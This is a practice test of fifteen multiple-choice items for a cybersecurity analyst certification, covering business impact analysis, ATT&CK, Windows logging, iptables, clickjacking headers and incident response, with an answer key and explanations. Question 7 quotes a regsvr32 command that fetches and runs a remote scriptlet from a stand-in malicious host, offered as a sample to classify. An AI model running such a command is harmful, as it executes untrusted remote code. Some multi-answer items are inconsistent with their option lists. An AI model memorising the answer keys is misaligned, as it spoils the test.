CCOA Practice Test 11 — 15 Questions

Question 1

What is the primary objective of a 'Business Impact Analysis' (BIA)?

Accepted Answer

To determine the criticality of business processes. A Business Impact Analysis (BIA) is the foundational step in business continuity and disaster recovery planning whose primary purpose is to identify and prioritize business processes by their criticality to the organization. It determines which functions are essential, how long they can be disrupted (RTO), and how much data loss is tolerable (RPO), so recovery resources can be allocated accordingly. Vulnerability identification, playbook testing, and patch listing are separate activities that occur after or alongside the BIA, not its objective.

Answer

To identify all system vulnerabilities

Answer

To test incident response playbooks

Answer

To create a list of software patches

Question 2

A multinational retailer must demonstrate to auditors that its security program aligns with a recognized framework for managing cybersecurity risk. The CISO wants a framework that provides a common language for communicating risk to executives and is widely accepted across industries. Which framework best meets this need?

Accepted Answer

NIST Cybersecurity Framework (CSF). The NIST CSF was created to give organizations a common language for understanding and communicating cybersecurity risk. Its five core functions (Identify, Protect, Detect, Respond, Recover) map easily to executive reporting and can be used alongside standards like ISO 27001 or PCI DSS. This makes it the best fit for aligning the program and communicating with leadership.

Answer

PCI DSS

Answer

COBIT 2019

Answer

ISO/IEC 27001

Question 3

You are utilizing the MITRE ATT&CK framework to document an incident. Which object represents the 'what' of the attack, such as the specific software or tool used?

Accepted Answer

Software. In MITRE ATT&CK, the 'Software' object represents the specific software or tool used by an adversary during an attack. This includes both commercial and open-source tools, as well as malware families. It answers the 'what' of the attack by identifying the concrete artifacts employed, such as Mimikatz, Cobalt Strike, or custom malware. Software is distinct from Tactic (the 'why'), Technique (the 'how'), and Group (the 'who').

Answer

Tactic

Answer

Group

Answer

Technique

Question 4

You are investigating a potential insider threat. Which log is most useful for tracking file deletion activity on a Windows file server?

Accepted Answer

Object Access auditing logs. Enabling Object Access auditing in the Windows Security policy allows you to track specific file actions, including deletion (Event ID 4660).

Answer

System event logs

Answer

DNS query logs

Answer

Security account management logs

Question 5

You are monitoring a network and detect a large number of ARP requests from a single host targeting the entire subnet. This is a sign of what?

Accepted Answer

ARP scanning. ARP scanning involves sending ARP requests to every IP address in a subnet to discover live hosts. A single host generating a large number of ARP requests targeting the entire subnet is a classic signature of ARP scanning, often used by attackers for network reconnaissance.

Answer

DNS spoofing

Answer

DHCP starvation

Answer

Network congestion

Question 6

You are configuring a Linux server and want to use 'iptables' to block all incoming traffic from a specific subnet (192.168.10.0/24). Which command is correct?

Accepted Answer

iptables -A INPUT -s 192.168.10.0/24 -j DROP. The correct syntax is 'iptables -A INPUT -s 192.168.10.0/24 -j DROP' because it appends a rule to the INPUT chain, matches packets with source address in the 192.168.10.0/24 subnet, and drops them. Blocking incoming traffic requires the INPUT chain and the -s (source) flag to match the originating subnet.

Answer

iptables -I OUTPUT -d 192.168.10.0/24 -j REJECT

Answer

iptables -A FORWARD -s 192.168.10.0/24 -j DROP

Answer

iptables -A INPUT -d 192.168.10.0/24 -j DROP

Question 7

A security operations analyst is reviewing endpoint telemetry and observes that the process 'regsvr32.exe' was launched with the command line 'regsvr32.exe /s /u /i:http://malicious.example/evade.sct scrobj.dll'. The parent process is 'winword.exe'. There is no user interaction reported after the initial document open. Which adversarial tactic does this activity most directly represent?

Accepted Answer

Defense Evasion. The regsvr32.exe command uses a trusted Microsoft signed binary to fetch and run a remote scriptlet, which is designed to bypass application control and avoid writing executable files to disk. That behavior aligns with Defense Evasion rather than persistence, lateral movement, or credential theft, because the immediate goal is to execute code while evading security controls.

Answer

Persistence

Answer

Credential Access

Answer

Lateral Movement

Question 8

Which TWO of the following are essential components of an effective Incident Response Plan (IRP)?

Accepted Answer

Clear roles and responsibilities. An IRP must clearly define roles (who does what) and include communication plans (who to notify) to be effective during a crisis.

Answer

The company's marketing strategy

Answer

Inventory of printer models

Answer

List of all employee home addresses

Question 9

In the context of the principle of least privilege, why should you avoid using a root or administrator account for daily system administration?

Accepted Answer

To prevent accidental system-wide changes.. The principle of least privilege dictates that users should be granted only the minimum access rights necessary to perform their job functions. Using a root or administrator account for daily tasks grants unrestricted access to the entire system, so a single typo or malicious command can irreversibly alter or destroy critical files, services, or configurations. By operating under a standard user account and elevating privileges only when required, the blast radius of accidental or malicious actions is dramatically reduced.

Answer

To improve performance.

Answer

To hide administrative activity.

Answer

To comply with hardware requirements.

Question 10

You are analyzing an endpoint and suspect a fileless malware attack. Which of the following is the most likely location for the malicious script to reside?

Accepted Answer

Windows Registry keys. Fileless malware often lives in the Windows Registry, specifically under 'Run' or 'RunOnce' keys, to ensure execution without a physical file on disk.

Answer

AppData/Roaming

Answer

System32 directory

Answer

Temp folder

Question 11

You are investigating a PowerShell-based attack. The attacker is using Base64 encoded commands. Which command line switch often indicates the use of encoded code?

Accepted Answer

-EncodedCommand. The '-EncodedCommand' (or '-e', '-enc') switch in PowerShell is a common flag used to execute obfuscated or Base64 encoded scripts.

Answer

-WindowStyle Hidden

Answer

-NoProfile

Answer

-ExecutionPolicy Bypass

Question 12

A vulnerability report shows that your web application is susceptible to 'Clickjacking'. Which HTTP header should you implement to mitigate this?

Accepted Answer

X-Frame-Options: DENY. X-Frame-Options: DENY prevents the browser from rendering the page inside a frame or iframe, which is the core mechanism clickjacking exploits. By refusing to be framed, the application blocks attackers from overlaying invisible UI elements that trick users into clicking unintended actions. DENY is the strictest setting, disallowing framing by any origin, including the same site.

Answer

Access-Control-Allow-Origin: *

Answer

Strict-Transport-Security: max-age=31536000

Answer

X-Content-Type-Options: nosniff

Question 13

While investigating an incident in Google Workspace, you notice suspicious file sharing. Which log type should be queried to see which files were shared externally by a specific user?

Accepted Answer

Drive audit logs. Drive audit logs in Google Workspace record file-level activity including sharing events, permission changes, and external sharing by specific users. To determine which files a user shared externally, the Drive audit log is the correct source because it captures the actor, target file, and visibility change. Admin audit logs cover admin actions, not user file sharing.

Answer

Admin audit logs

Answer

Login logs

Answer

OAuth token logs

Question 14

Which TWO of the following behaviors are typical of 'Lateral Movement'?

Accepted Answer

SMB/Admin shares. Lateral movement describes an attacker pivoting from one compromised host to other systems in the same network, and SMB/Admin shares (Option A) are a classic vector: adversaries use tools like PsExec or Impacket's smbexec to authenticate to remote machines over TCP 445 and execute code via hidden shares such as ADMIN$, C$, or IPC$. Remote Desktop Protocol (Option E) is equally typical, since attackers use stolen credentials to open interactive RDP sessions over TCP 3389 to hop between hosts and expand their foothold. By contrast, DNS query analysis (Option B) is a defensive/detection technique rather than an attacker behavior, Registry key editing (Option C) is a local persistence or configuration-tampering action, and keystroke logging (Option D) is a credential-collection or surveillance activity — none of these inherently involve moving from one host to another.

Answer

DNS query analysis

Answer

Registry key editing

Answer

Keystroke logging

Question 15

During an incident response engagement, an analyst must preserve volatile evidence from a compromised Windows workstation before containment. The system has been running for 36 hours and the analyst needs to capture the current state of active network connections and the processes that own them, in a form that can be used for later forensic review. Which built-in Windows utility should the analyst run first to capture this volatile data?

Accepted Answer

netstat -anob. Capturing volatile data before containment preserves evidence that disappears on shutdown or reboot. The netstat command with the -a, -n, -o, and -b switches returns the current TCP and UDP endpoints in numeric form, the owning process identifier, and the executable name, giving the analyst a defensible snapshot linking live sockets to processes. Other utilities listed report configuration or logs and cannot reconstruct the live connection-to-process relationship after the fact.

Answer

Get-WinEvent -LogName Security

Answer

sfc /scannow

Answer

ipconfig /all